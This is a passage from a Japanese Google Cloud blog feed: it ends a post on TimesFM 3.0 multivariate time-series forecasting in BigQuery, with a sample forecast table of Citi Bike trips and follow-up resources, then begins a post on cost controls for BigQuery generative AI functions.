&lt;/ol&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;出力について&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;関数は、&lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;target_cols&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; で指定された各ターゲット列の構造化された予測を返します。target_cols の列ごとに、AI.FORECAST はポイント予測（値）と、予測区間の下限および上限を含む構造体を返します。&lt;/span&gt;&lt;/p&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;日付&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;subscriber_&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;trips.value&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;subscriber_trips.prediction_&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;interval_lower_bound&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;subscriber_trips.prediction_&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;interval_upper_bound&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;casual_trips.value&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;casual_trips.prediction_&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;interval_lower_bound&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;casual_trips.prediction_&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;interval_upper_bound&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;time_series_type&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;confidence_level&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;ai_forecast_status&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;2016-06-01 00:00:00 UTC&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;44699.64&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;32590.76&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;55723.44&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;4581.32&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;1727.91&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;9189.31&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;予測&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;0.95&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;2016-06-02 00:00:00 UTC&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;44611.75&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;30413.05&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;57209.19&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;4647.17&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;1466.23&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;10273.55&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;予測&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;0.95&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;2016-06-03 00:00:00 UTC&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;41379.15&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;26218.65&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;54940.09&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;5341.36&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;1568.23&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;11805.86&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;予測&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;0.95&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;2016-06-04 00:00:00 UTC&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;30164.34&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;14266.43&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;45075.92&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;9097.74&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;2558.27&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;18452.52&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;予測&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;0.95&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;2016-06-05 00:00:00 UTC&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;26727.27&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;10101.44&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;42239.33&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;8398.50&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;1692.15&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;17768.99&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;予測&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;0.95&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;2016-06-06 00:00:00 UTC&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;36713.84&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;19493.00&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;52679.59&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;4723.08&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;400.08&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;11710.73&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;予測&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;0.95&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;2016-06-07 00:00:00 UTC&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;39749.97&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;22157.42&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;56119.86&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;4180.97&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;95.70&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;10845.74&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;予測&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;0.95&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;BigQuery 会話型分析の TimesFM 3.0&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery 会話型分析では、自然言語を使用して多変量予測を実行することもできます。同じ&lt;/span&gt;&lt;a href="https://console.cloud.google.com/bigquery?ws=!1m5!1m4!4m3!1sbigquery-public-data!2snew_york!3scitibike_trips"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;bigquery-public-data.new_york.citibike_trips&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; データセットで、「2 か月間の過去のデータを使用して、2016 年 6 月 1 日から 7 日までの 1 日あたりの定期利用回数とカジュアル利用回数を予測してください。過去の共変量として平均利用時間、将来の共変量として週末インジケーターを使用してください」と依頼するだけです。会話型分析は、TimesFM 3.0 を使用して基盤となる AI.FORECAST クエリを自動的に生成して実行し、結果の要約、各ターゲットの予測区間を含むインタラクティブな予測グラフ、主要な予測分析情報を返します。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/timesfm_3_in_ca_2.gif"
        
          alt="timesfm_3_in_ca_2"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="c4y6q"&gt;BigQuery 会話型分析で TimesFM 3.0 を使用した多変量予測。自然言語プロンプトから 7 日間の予測、インタラクティブなグラフ、分析情報を生成。&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;まとめと次のステップ&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;TimesFM 3.0 の多変量予測がネイティブ サポートされたことで、BigQuery は、データの移動、カスタムの特徴量エンジニアリング パイプライン、専用のモデル ホスティング インフラストラクチャを必要とすることなく、複雑で相互に関連するエンタープライズ データセットに対して最先端の基盤モデルによる予測機能を提供します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery の TimesFM 3.0 で予測を開始するには:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;TimesFM 3.0 モデルのアーキテクチャと機能の詳細について、Google Research の&lt;/span&gt;&lt;a href="https://research.google/blog/timesfm-3-a-zero-shot-foundation-model-for-multivariate-forecasting" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ブログ投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;を読む。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/timesfm-model"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;TimesFM&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; のドキュメントを確認する。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;多変量予測の&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/timesfm-multivariate-multi-time-series-forecasting-tutorial"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;チュートリアル&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;の手順に沿って操作する。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery Studio SQL ワークスペースで `model =&amp;gt; 'TimesFM 3.0'` を直接指定して&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-forecast"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;AI.FORECAST&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を試す。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery で `model =&amp;gt; 'TimesFM 3.0'` を指定して &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-detect-anomalies"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;AI.DETECT_ANOMALIES&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を使用し、単変量時系列の異常検出を試す。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery で `model =&amp;gt; 'TimesFM 3.0'` を指定して&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-evaluate"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;AI.EVALUATE&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を使用し、単変量時系列の評価を試す。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;ソフトウェア エンジニア、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Haiyang Qi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;エンジニアリング マネージャー、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Haoming Chen&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Wed, 21 Oct 2026 17:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/products/data-analytics/bigquery-timesfm-3-0-with-multivariate-time-series-forecasting/</guid><category>BigQuery</category><category>Data Analytics</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>BigQuery で多変量時系列予測を行う TimesFM 3.0 のご紹介</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/products/data-analytics/bigquery-timesfm-3-0-with-multivariate-time-series-forecasting/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Haiyang Qi</name><title>Software Engineer</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Haoming Chen</name><title>Engineering Manager</title><department></department><company></company></author></item><item><title>BigQuery で AI 費用を予測可能に: 生成 AI 関数の費用管理のご紹介</title><link>https://cloud.google.com/blog/ja/products/data-analytics/using-bigquerys-generative-ai-cost-management-features/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;※この投稿は米国時間 2026 年 10 月 15 日に、Google Cloud blog に&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/using-bigquerys-generative-ai-cost-management-features?e=48754805&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;されたものの抄訳です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/generative-ai-overview"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BigQuery の生成 AI 関数&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;（&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.GENERATE&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.IF&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.CLASSIFY&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.SCORE&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; など）では、大規模言語モデル（LLM）が SQL に直接組み込まれるため、1 つのクエリで数百万件のサポート チケットを分類したり、感情について各商品レビューにスコアを付けたりできます。ただし、これらの関数はトークン単位で課金されるため、大規模なデータセットで使用する場合は、予算を事前に管理することが重要になります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google は先日、BigQuery 生成 AI 関数の&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;トークンベースの&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/control-genai-costs"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;費用管理&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;の一般提供（GA）が開始されたことを発表しました。これは、管理者が AI トークン消費にセルフサービスのガードレールを設定できる 1 日あたりの割り当てで、チームは予算内でイノベーションを推進できるようになります。このブログ投稿では、BigQuery の生成 AI 関数の費用管理の概要を示し、いくつかの実用的な例と、利用を開始する際に役立つリソースをご紹介します。それでは詳しく見ていきましょう。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;費用を管理するための割り当て&lt;/strong&gt;&lt;/h4&gt;
